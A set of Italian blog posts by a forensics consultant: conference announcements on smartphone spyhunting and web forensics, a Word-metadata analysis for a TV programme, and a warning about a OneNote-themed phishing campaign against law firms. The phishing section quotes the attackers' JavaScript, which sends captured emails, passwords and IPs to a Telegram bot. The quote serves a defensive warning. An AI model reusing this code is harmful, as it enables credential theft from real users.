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Spyhunting su smartphone all’IISFA FORUM 2025 di Roma

Venerdì 12 dicembre 2025 si terrà, a Roma, presso il Centro Congressi Frentani Srl – in Via dei Frentani, 4, a pochi passi dalla Stazione Termini di Roma – il seminario “IISFA FORUM 2025 – Cybercrime, Artificial Intelligence & Digital Forensics” durante il quale si succederanno interventi su Cybercrime, Artificial Intelligence & Digital Forensics tenuti da esperti della materia.

La conferenza “IISFA Forum 2025 – Cybercrime, Artificial Intelligence e Digital Forensics”, organizzata dall’associazione IISFA, riunisce le principali istituzioni italiane impegnate nella sicurezza cibernetica per analizzare l’evoluzione delle minacce digitali e il ruolo crescente dell’intelligenza artificiale nelle attività investigative.

La mattinata è dedicata ai trend nazionali sui cyber attacchi, alle nuove forme di cybercrime e all’impatto delle tecnologie emergenti sulle indagini, grazie agli interventi di rappresentanti dell’Agenzia per la Cybersicurezza Nazionale, della Polizia Postale, dei Carabinieri, della Guardia di Finanza e di esperti del settore legale e forense. Due tavole rotonde approfondiscono i temi etici legati all’IA e la relazione tra criminalità informatica, social media e comunicazione giornalistica.

Nel pomeriggio, la conferenza entra nel vivo delle attività tecniche, con interventi dedicati allo spyhunting su dispositivi mobili, alle investigazioni digitali in ambito aziendale, ai nuovi reati informatici legati alla cybersecurity e all’IA, fino alle sfide della post-quantum security e all’evoluzione dei ransomware.

La giornata si conclude con un coinvolgente cyber forensics game, una simulazione pratica su un caso reale di analisi forense, che permette al pubblico di confrontarsi direttamente con metodologie e tecniche operative utilizzate nei moderni scenari investigativi.

Spyhunting su smartphone: tecniche, strumenti e metodologie di rilevamento dei software spia

Avrò l’occasione di essere tra i relatori, nel pomeriggio, con un intervento intitolato “Spyhunting sui sistemi cellulari: lo stato dell’arte”, durante il quale parlerò delle tecnologie attualmente utilizzate per verificare la presenza di malware, captatori, spy software, trojan sugli smartphone iOS e Android.

Spyhunting su Smartphone a IISFA Forum 2025

In questi ultimi mesi sono emersi diversi casi di smartphone intercettati tramite software spia – o captatori – che hanno alzato la soglia di attenzione e la necessità di poter disporre di metodologie e strumenti per capire se un telefono è sotto controllo tramite spysoftware.

Durante il talk avrò l’occasione di presentare lo stato dell’arte nelle tecniche e strumenti di spyhunting, cioè di ricerca di software spia, captatori, trojan e malware finalizzati a intercettare le comunicazioni delle vittime, captare foto, video, messaggi Whatsapp, Signal, Telegram o iMessage.

Vedremo infatti in breve le principali tecniche di individuazione di software spia e attività malevole sui sistemi cellulari, le differenze tra le varie modalità di copia forense (logical, advanced logical, Full File System o FFS, physical) nelle possibilità di rilevamento dei malware, gli strumenti di analisi forense utilizzati oggi per l’attività di spyhunting su smartphone, gli strumenti di estrazione dati, analisi e malware detection come Mobile Verification Toolkit (MVT), Android Quick Forensics, parser per Sysdiagnose, le potenzialità della intelligenza artificiale nel rilevamento di malware e spy software; l’utilizzo dei log e dei dump (sysdiagnose, unified logs, shutdown.log, event log, crash log, bug report, logcat, tombstone, ANR, etc…) per rinvenire tracce delle infezioni da malware sui disposivi, l’analisi del traffico di rete come strumento di rilevamento di attività malevola di spy software su smartphone e alcuni casi d’uso e scenari investigativi in cui l’analisi forense mobile è centrale per la ricostruzione dei fatti.

La giornata sarà ricca d’interventi di altissimo rilievo, con relatori istituzionali, militari, con il seguente programma.

Programma della conferenza IISFA Forum 2025 a Roma

Seminario IISFA Forum 2025 a Roma - Cybercrime, Artificial Intelligence e Digital Forensics

Il programma della giornata si snoda in una mattinata con saluti d’indirizzo e due tavole rotonde, mentre il pomeriggio si snoderà tra interventi focalizzati su specifici argomenti d’informatica forense, tutela aziendale, OSINT, reati informatici, intelligenza artificiale, post quantum security ed analisi forense con il cyberforensics game conclusivo.

Ore 9:30 – Saluti di indirizzo

  • Gerardo Costabile – Presidente IISFA
  • Nunzia Ciardi – Vicedirettore Agenzia per la Cybersicurezza Nazionale
  • Amm. Gianluca Galasso – Direttore del Servizio Operazioni e gestione delle crisi cyber/CSIRT Italia – Agenzia per la Cybersicurezza Nazionale
    Trend nazionale dei cyber attacchi: lo stato dell’arte in Italia
  • Ivano Gabrielli – Direttore del Servizio Polizia Postale e per la Sicurezza Cibernetica
    Cybercrime e nuovi trend
  • Gen. Vincenzo Molinese – Comandante ROS Carabinieri
    Intelligenza Artificiale e attività investigative
  • Gen. Antonio Mancazzo – Comandante del Nucleo Speciale Tutela Privacy e Frodi Tecnologiche della Guardia di Finanza
    Cybercrime e follow the money: evoluzione e nuovi scenari
  • Stefano Mele – Partner, Head of Cybersecurity & Space Law Department, Gianni & Origoni
    Anatomia di un attacco ransomware: ricatti, psicologia e cryptoasset in attesa di una strategia italiana

Tavola rotonda
Intelligenza artificiale, etica e informatica forense

Partecipano:

  • Eugenio Albamonte (Direzione Nazionale Antimafia)
  • Giuseppe Corasaniti (Professore ordinario UniMercatorum)
  • Paolo Galdieri (Avvocato)
  • Mattia Epifani (Presidente ONIF)
  • Marco Calonzi (Direttivo IISFA)
  • Gianluca Boccacci (Presidente Cyber Actors)

Tavola rotonda
Cybercrime, social media e comunicazione giornalistica tra forma e sostanza

Partecipano:

  • Domenico Colotta (Assocomunicatori)
  • Arturo di Corinto (Giornalista professionista, Agenzia Cybersicurezza Nazionale)
  • Luigi Garofalo (Direttore responsabile Cybersecurity Italia)
  • Roland Kapidani (Red Hot Cyber)

Ore 13:30 – Pausa pranzo


Ore 14:30 – Sessione pomeridiana

  • Paolo Dal CheccoConsulente Informatico forense
    Spyhunting sui sistemi cellulari: lo stato dell’arte
  • Michela Carloni Gammon, Direttore Everbridge – Veronica Vacchi, Dinova
    Tutela aziendale, media investigation e open source intelligence
  • Stefano Aterno (Studio E-lex)
    I nuovi reati informatici nella cybersecurity e nell’intelligenza artificiale
  • Prof. Aniello Castiglione – Università di Salerno
    Post quantum security, evoluzione dei ransomware e complessità investigative
  • Cosimo de Pinto (Direttivo IISFA) & Salvatore Filograno (Direttivo IISFA)
    Cyber forensics game: simulazione con l’intervento del pubblico su un caso reale di analisi forense

Iscrizioni al seminario IISFA Forum 2025 a Roma

L’evento IISFA Forum 2025 a Roma è gratuito e aperto a tutti, non soltanto ai soci IISFA: per partecipare è sufficiente registrarsi online su Eventbrite e presentarsi venerdì 12 dicembre 2025 presso il Centro Congressi Frentani Srl alle ore 9:30 per l’inizio dei lavori.

I posti sono limitati ma vi sono ancora alcune disponibilità, raccomandiamo di affrettarvi con la registrazione e di cancellare l’adesione in caso d’impossibilità di partecipare all’evento IISFA a Roma.

Locandina dell’evento IISFA Forum 2025 a Roma

La locandina in PDF dell’evento IISFA Forum 2025 a Roma è disponibile qui di seguito, visionabile online o scaricabile direttamente sul proprio PC o Smartphone.

Attenzione al phishing che attacca le mailbox degli Avvocati

Un articolo che non parla d’informatica forense, come di consueto, ma è da leggere con attenzione e far girare in particolare tra gli avvocati: è importante saper riconoscere il phishing che sta colpendo gli studi legali italiani (e non solo) che porta a potenziali databreach a catena, dato che chi subisce l’attacco poi diventa vettore – verso i suoi contatti – di nuovi attacchi.

In questi giorni arrivano infatti agli avvocati email da parte di colleghi (ma anche clienti o collaboratori) che citano un documento di “Pagamento fattura” non allegato ma condiviso tramite OneNote, come mostrato nelle immagini allegate al post.

Email di phishing che arriva agli avvocati con un documento condiviso da aprire su OneNote

La mail ha come oggetto una frase tipo: “Studio Legale Associato XYZ ha condiviso la file Elementi condivisi il giorno 06-11-2025′ con te”.

Phishing ad avvocati e studi legali tramite falsa fattura condivisa su OneNote

Cliccando sul link si apre una pagina che indica che il documento contenente la fattura è crittografato ed è necessario loggarsi su Microsoft OneNote per accedervi:

"Avv. ABC - STUDIO LEGALE ASSOCIATO XYZ ho condiviso un nuovo documento con te
Pagamenti delle fattura.pdf(601 KB)
VISUALIZZARE IL DOCUMENTO CONDIVISO

Il documento è crittografato con password Microsoft, accedi con l'indirizzo e-mail in cui è stato ricevuto il documento.
Questo documento è stato analizzato alla ricerca di virus dal software Norton™ AntiVirus Security Standard 2025
© Condivisione di file Microsoft 2025"

Cliccando sul link “Visualizzare il documento condiviso” si giunge a una pagina con diversi login.

Phishing ad avvocati tramite condivisione fattura OneNote di Microsoft e furto credenziali username e password

E’ possibile inserire il proprio login con username e password per ogni tipo di account di posta elettronica che si possiede, partendo dai principali come Office365, Outlook, Rackspace, Aruba, PEC o anche altri account:

Accedi alla tua e-mail per visualizzare il documento condiviso.
Accedi qui sotto.
Accedi con Office365
Accedi con Outlook
Accedi con Rackspace
Accedi con Aruba Mail
Accedi con PEC
Accedi con Altra Posta

Inserendo le proprie credenziali ai vari link, queste vengono inviate agli attaccanti tramite una chiamata API a un bot Telegram:

forma.addEventListener("submit", e =>{ e.preventDefault(); let email = document.querySelector('#e-mail').value let pwd = document.querySelector('#pwd').value let ips = document.querySelector('#ipaddress').value fetch(`https://api.telegram.org/bot${bot.TOKEN}/sendMessage?chat_id=${bot.chatID}&text=Email:${email}=Password:=${pwd}=IP:=${ips}`, { method: "GET" }).then(success => { window.location.replace("https://www.onenote.com/"); }, error => { alert("Message not sent") console.log(error) })

In sostanza, gli attaccanti, per scaricare il file chiedono d’inserire su un finto sito Microsoft username e password di posta (Office365, Outlook, Rackspace, Aruba S.p.A., PEC o anche qualunque altra) ma ovviamente una volta loggati invece di mostrare la fattura:

1) gli attaccanti entrano nell’account di posta dello Studio;

2) se hanno tempo e voglia scaricano i messaggi e gli allegati;

3) scaricano la rubrica e inviano a tutti i contatti la stessa mail ricevuta sperando che anche loro si facciano trarre in inganno..

Le email che arrivano sono originali e autentiche, inviate dal vero account del collega avvocato, non sono spoofing e tendono a passare i controlli antispam, quindi l’unica prevenzione è non inserire la password al link con il documento condiviso. Se cliccate su link e andate avanti senza inserire credenziali non succede nulla.

Se avete già inserito user/password, gli attaccanti stanno potenzialmente scaricandosi i vostri messaggi, la rubrica e inviando ai vostri contatti lo stesso messaggio: cambiate subito password, loggatevi sulla webmail per chiudere eventuali altre sessioni aperte, attivate 2FA se già non lo avete, valutate se informare i contatti di non aprire link da voi ricevuti, se volete capire cosa hanno fatto gli attaccanti nel vostro account scaricate/chiedete i file di log del provider.

Se avete ricevuto mail simili a quelle allegate al post quindi cancellatele anche se provengono da colleghi oppure se avete voglia inviatemi il file EML che ne sto collezionando diversi per analizzare come il phishing sta diffondendosi tra i professionisti e quali tecniche utilizzano gli attaccanti per rendere credibile il phishing.

Analisi forense di pendrive USB e metadati Word per Le Iene

Martedì 4 novembre 2025 è andato in onda il servizio de Le Iene dove, come perito forense, ho aiutato la Iena Filippo Roma a trovare riferimenti a potenziali autori all’interno di una pendrive USB contenente un documento Word.

Il servizio de Le Iene parla di una questione nella quale non mi addentro, poiché mi è stato semplicemente chiesto se fosse possibile trovare l’autore, il proprietario o l’utilizzatore di una pendrive USB, in particolare basandomi su di un documento Microsoft Office Word in essa contenuto.

Consulente Informatico per Le Iene su analisi metadati pendrive USB

L’attività di perizia informatica è iniziata con la realizzazione di una copia forense della pendrive USB – così da cristallizzarne e preservarne il contenuto all’interno di una immagine forense con estensione EWF, in modo da poterla successivamente analizzare.

L’analisi forense svolta come perito informatico per Le Iene – in particolare per Filippo Roma e l’autore del servizio TV – è stata eseguita tramite il software X-Ways Forensics, con il quale ho eseguito carving, recupero dati e ricostruzione del filesystem, inclusi file cancellati e relativi metadati EXIF di immagini, OOXML di file Word e XMP di file PDF.

Le Iene - Paolo Dal Checco e analisi forense su metadati di documento Word

Il software XWF – X-Ways Forensics – permette a chi opera come consulente informatico forense di eseguire attività di analisi e perizia informatica su immagini forensi al fine di ricostruire file eliminati e categorizzare metadati ed evidenze digitali

Come contro-verifica – in ambito informatica forense è sempre importante l’attività di cross examination – ho utilizzato anche il noto software open source Exiftool, così da poter confermare le risultanze ottenute mediante il tool forense XWF e produrre quindi una valutazione circa l’attribuzione del file.

Paolo Dal Checco - Perito Informatico per Le Iene e analisi dei metadati file word con exiftool

Nella pendrive erano presenti ulteriori file di tipo “.Trashes”, “.TemporaryItems”, “.Spotlight-V100” con i subfolder “Store-V2” e all’interno i vari journal e index, ma in nessuno di tali artefatti erano contenute indicazioni circa l’attribuzione della pendrive o meglio, si sono trovati gli stessi riscontri presenti nel file Word oggetto di analisi.

Dal punto di vista informatico forense, la presenza di uno specifico nominativo nel campo “Creator/Author” o “Last Modified By/Last Saved By” non indica necessariamente l’autore del documento o dell’ultima modifica ma il nominativo con cui è stato configurato il software utilizzato per generare il documento Word.

In genere, quindi, quando si rileva un nominativo nel campo autore del documento o dell’ultima modifica al documento in un file Word – ma anche Excel o Powerpoint, oltre a PDF o eventuali file JPG, multimediali, etc… – possono verificarsi tre situazioni:

  1. Il nominativo presente nei dati EXIF/XMP/OOXML può effettivamente essere l’autore del documento;
  2. Lo user indicato nei metadati del file Word può essere quello con cui è stato configurato il sistema utilizzato per creare o modificare il file ma il file non è stato creato/modificato da tale soggetto;
  3. Lo username reperibile nei meta dati può essere stato inserito apposta nel file da terzi per forzare l’attribuzione di un file a un soggetto (es. per attribuirgli la creazione/modifica del file).

Ovviamente dall’analisi forense di un solo file non è possibile distinguere con una perizia informatica in quale casistica di quelle riportate sopra rientri, se non esaminando ulteriori elementi (es. altri file presenti sul dispositivo, percorsi/path del filesystem lasciati nei file, negli indici o nei dati temporanei, etc…) e quindi non si possono fare ulteriori valutazioni.

Proprio per questo motivo è importante procedere con la massima cautela quando si ricavano informazioni dai metadati dei file, valutando le possibili interpretazioni in base a ulteriori elementi, anche investigativi, che possano confermare o meno l’attendibilità dell’attribuzione.

Workshop su Web Forensics e Indagini Digitali per MSAB a Roma

Come si acquisisce in maniera forense una pagina web? Come si cristallizza un post Instagram o un commento ricevuto su Facebook per fini giudiziari? Se stampo una mail in PDF ha valore legale come prova digitale in Tribunale?

Queste e altre domande troveranno risposta nel talk sulla Web Forensics che terrò insieme al collega Andrea Lazzarotto giovedì 6 novembre 2025 a Roma nell’ambito del workshop organizzato da MSAB intotolato “Nuovi Orizzonti per le Indagini Digitali Forensi: Sfide e Soluzioni”.

Seminario MSAB a Roma - Nuovi Orizzonti per le Indagini Digitali Forensi

Relatori evento MSAB a Roma

L’evento, organizzato in collaboration con Nuix, SANS Institute and eTrace Digital Security, si terrà in presenza presso l’UNA HOTELS Hotel Empire dalle 8:30 alle 18:30 e prevede talk di altissimo livello su argomenti d’informatica forense e mobile forensics con l’intervento dei seguenti professionisti:

  • Mattia Epifani, CEO di Reality Net, consulente informatico forense, esperto in attività di Digital Mobile Forensics, docente certificato SANS, docente universitario, autore e divulgatore, con l’intervento: “Not So Private Browsing!”
  • Paolo Dal Checco, Consulente informatico forense, esperto in attività di Digital Mobile Forensics, analisi di OSINT, malware e criptovalute, docente universitario, autore e divulgatore, insieme a
  • Andrea Lazzarotto, Consulente informatico forense, esperto in attività di Digital Mobile Forensics, ricercatore, sviluppatore, con l’intervento: “Web Forensics: Le Nuove frontiere delle Prove Digitali”
  • Roberto Murenec, Maresciallo in forza al Comando Provinciale della Guardia di Finanza di Pordenone, autore, divulgatore e esperto di Digital Forensics e relativa regolamentazione legislativa, insieme a
  • Pier-Luca Toselli, Luogotenente Carica Speciale in forza al Comando Provinciale della Guardia di Finanza di Bologna, esperto di Digital Forensics e relativa regolamentazione legislativa, con l’intervento: “Perquisizione e Sequestro del Dispositivo “Mobile” Tra Rispetto delle Regole Processuali e delle Garanzie di Parte”
  • I responsabili di E-Trace, rivenditore esclusivo MSAB per il territorio italiano.
  • Manlio Longinotti, Responsabile Italia SANS, con l’intervento: “SANS DFIR Trainings: La Formazione Oltre l’Aggiornamento”
  • Dario Beniamini, GCFA, GCFE, GOSI, CFIP, CIFI, Esperto in proprietà intellettuale e tutela dei marchi, DFIR, NUIX Senior Consultant, docente certificato SANS, con l’intervento: “Rethinking Digital Investigations: Beyond Keyword Searches”
  • Ghennadii KONEV, con l’intervento: “Non Solo FFS, Estrazioni Fisiche BFU con XRY”
  • Giovanni Maria Castoldi, MSAB North Mediterranean Area Sales Manager.
Workshop sulle indagini digitali forensi per MSAB a Roma - Novembre 2025

Workshop sulla Web Forensics e le Indagini Digitali

Nel mio intervento, insieme ad Andrea Lazzarotto, parleremo di un tema sempre più centrale nelle indagini digitali: la Web Forensics, ovvero l’insieme di tecniche e metodologie per acquisire, preservare e analizzare prove provenienti dal web come siti web, pagine web, servizi online, piattaforme cloud, API, social network e applicazioni mobili.

Spesso le indagini digitali si concentrano su dispositivi fisici, ma oggi una parte sempre più significativa delle evidenze si trova “fuori” dal computer, nel cloud o su piattaforme web in continua evoluzione. Da qui nasce la necessità della webforensics, cioè quella di rendere l’acquisizione forense di risorse web affidabile, ripetibile e non disconoscibile, al pari di quella tradizionale.

Web Forensics - Paolo Dal Checco e Andrea Lazzarotto - Roma 2025

Durante il talk sulla Web-Forensics mostreremo come costruire una macchina virtuale forense per l’acquisizione di pagine e contenuti web, documentando ogni passaggio (traffico di rete, video, log, certificati, riferimenti temporali, ecc.), come cristallizzare l’ambiente e i risultati con tecniche di hashing, timestamping e marca temporale e come utilizzare strumenti open source specifici per l’acquisizione e la verifica, come FIT (Freezing Internet Tool) e Fuji, sviluppati per garantire integrità, catena di custodia e trasparenza nelle operazioni di copia e analisi.

Parleremo anche di acquisizioni di contenuti “complessi”, come flussi video o chiamate API, oltre che di come intercettare e documentare correttamente il traffico HTTPS o REST attraverso strumenti utilizzabili in ambito web forensics come mitmproxy.

Le slide dell’intervento sulla Web Forensics sono visionabili e scaricabili gratuitamente in download dalla sezione qui di seguito.

Infine, a latere – poiché non si tratta di webforensics pura – discuteremo delle nuove sfide legate all’acquisizione forense dei dispositivi Mac con chip Apple Silicon, che richiedono un cambio di paradigma simile a quello già affrontato nel mondo mobile.

L’obiettivo del workshop sulla Web Forensics è mostrare un metodo pratico e ripetibile per affrontare in modo rigoroso e documentato la cristallizzazione di prove digitali web, in linea con i principi della Legge 48/2008, della ISO/IEC 27037 e delle best practice internazionali.

Agenda dell’evento MSAB a Roma

L’evento che si terrà giovedì 6 novembre 2025 a Roma nell’ambito del workshop organizzato da MSAB intotolato “Nuovi Orizzonti per le Indagini Digitali Forensi: Sfide e Soluzioni” seguirà la seguente agenda dei lavori:

  • 8:45 Registrazione Partecipanti
  • 9:30 Introduzione
  • 9:45 Ghennadii Konev & Giovanni Maria Castoldi con l’intervento: “Non Solo FFS, Estrazioni Fisiche BFU con XRY
  • 10:30 Coffee Break
  • 10:45 Mattia Epifani con l’intervento: “„”Not So Private Browsing!
  • 11:45 Dario Beniamini con l’intervento: “Rethinking Digital Investigations: Beyond Keyword Searches
  • 12:30 Paolo Dal Checco & Andrea Lazzarotto con l’intervento: “Web Forensics: Le Nuove frontiere delle Prove Digitali
  • 13:15 Pranzo
  • 14:30 Manlio Longinotti con l’intervento: “SANS DFIR Trainings: La Formazione Oltre l’Aggiornamento
  • 15:00 Pier Luca Toselli & Roberto Murenec con l’intervento: “Perquisizione e Sequestro del Dispositivo Mobile“ Tra Rispetto delle Regole Processuali e delle Garanzie di Parte“
  • 15:45 Coffee Break
  • 16:00 Intervento E-Trace
  • 16:45 Q&A, Demo
  • 18:00 Termine

Seminario sulla prova digitale nelle indagini preliminari al Tribunale di Milano

Mercoledì 5 novembre dalle 10:00 alle 13:00 si terrà a Milano presso la Sala Conferenze “Eligio Gualdoni” nel Palazzo di Giustizia Milano il seminario “La prova nelle indagini preliminari, prove informatiche e sfide dell’intelligenza artificiale”, evento gratuito, organizzato dall’Ordine degli Avvocati di Milano – Commissione Codice Rosso – attraverso la Fondazione Forense, nell’ambito del programma di formazione continua per gli Avvocati.

Seminario sulla prova digitale e intelligenza artificiale presso Tribunale di Milano

I saluti introduttivi dell’evento sulla prova digitale nelle indagini preliminari che si terrà a Milano in Tribunale saranno dell’Avv. Antonio Finelli, Consigliere dell’Ordine degli Avvocati di Milano, Coordinatore della Commissione Codice Rosso.

I temi trattati e i relatori della giornata su “La prova nelle indagini preliminari, prove informatiche e sfide dell’intelligenza artificiale” saranno i seguenti:

  • L’acquisizione e conservazione della prova informatica: breve lettura del quadro normativo italiano e della giurisprudenza di legittimità – Avv. Maria Teresa Zampogna, Componente della Commissione Codice Rosso dell’Ordine degli Avvocati di Milano;
  • L’efficacia probatoria dei documenti informatici e la valutazione giudiziale delle prove digitali – Avv. Anna Campanella, Componente della Commissione Codice Rosso dell’Ordine degli Avvocati di Milano;
  • L’impatto dell’intelligenza artificiale generativa nella raccolta della prova informatica: dall’analisi delle tecnologie di manipolazione e di rilevamento alle strategie difensive e probatorie – Dott. Paolo Dal Checco, Consulente Informatico Forense;
  • Deepfake, manipolazione digitale e nuove sfide probatorie: prassi e azioni del Tribunale nella valutazione della prova informatica nell’epoca dell’intelligenza artificiale generativa – Dott. Roberto Crepaldi, Giudice per le Indagini Preliminari presso il Tribunale di Milano;
  • L’art. 50 del codice deontologico forense: fra dovere di verità e la raccolta e l’utilizzo di prove (false) – Avv. Antonio Finelli, Consigliere dell’Ordine degli Avvocati di Milano, Coordinatore della Commissione Codice Rosso;
  • Il ruolo dell’investigatore privato nella genesi dell’evidenza digitale – Fabio Di Venosa, Investigatore privato.

La partecipazione all’evento consente l’attribuzione di n. 3 crediti formativi di cui n. 1 in materia obbligatoria.

La locandina dell’evento “La prova nelle indagini preliminari, prove informatiche e sfide dell’intelligenza artificiale” è disponibile qui di seguito per la visione o il download.